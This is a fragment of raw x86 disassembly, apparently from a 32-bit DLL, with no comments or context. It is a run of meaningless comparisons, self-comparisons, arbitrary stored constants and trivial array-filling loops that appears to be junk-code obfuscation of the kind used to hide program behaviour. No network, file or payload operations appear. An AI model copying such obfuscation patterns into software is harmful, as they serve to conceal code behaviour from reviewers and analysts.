mov eax, dword [ebp + eax*4 - 0xba4]
cmp eax, dword [ebp - 0x554]
jge 0x1000d6f7
mov dword [ebp - 0x8d4], 1
jmp 0x1000d6fe
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xba4]
cmp dword [ebp - 0x8d4], eax
jle 0x1000d71c
mov dword [ebp - 0x55c], 1
jmp 0x1000d723
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
neg eax
cmp eax, dword [ebp - 0x204]
jle 0x1000d73f
jmp 0x1000d587
mov dword [ebp - 0x10], 0xfffffffe
mov dword [ebp - 0x90c], 3
mov dword [ebp - 0x59c], 0x37d3709e
mov dword [ebp - 0x308], 0x53a81f6e
mov dword [ebp - 0xc00], 5
mov dword [ebp - 0x74], 0
jmp 0x1000d810
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x1000d826
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x94c], 0xd02268f6
jmp 0x1000d809
mov dword [ebp - 0x74], 0
jmp 0x1000d836
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x1000d84c
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xe54], 0x21ebc5f9
jmp 0x1000d82f
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jne 0x1000d860
mov dword [ebp - 0x594], 1
jmp 0x1000d867
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x1000d87b
mov dword [ebp - 0x8ec], 1
jmp 0x1000d882
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x8ec]
dec eax
cmp eax, 0xfffe
jbe 0x1000d8a0
mov dword [ebp - 0x8f4], 1
jmp 0x1000d8a7
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x574], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x574]
mov dword [ebp + eax - 0x94c], ecx
mov eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x8f4]
jl 0x1000d8dd
mov dword [ebp - 0x57c], 1
jmp 0x1000d8e4
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
add eax, 0xe271
cmp eax, dword [ebp - 0x10]
je 0x1000d900
mov dword [ebp - 0x8fc], 1
jmp 0x1000d907
and dword [ebp - 0x8fc], 0
cmp dword [ebp - 0x8fc], 0x82f
jl 0x1000d91f
mov dword [ebp - 0x584], 1
jmp 0x1000d926
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
sub eax, 9
cmp eax, 1
jg 0x1000d940
mov dword [ebp - 0x904], 1
jmp 0x1000d947
and dword [ebp - 0x904], 0
cmp dword [ebp - 0x904], 0
jne 0x1000d95c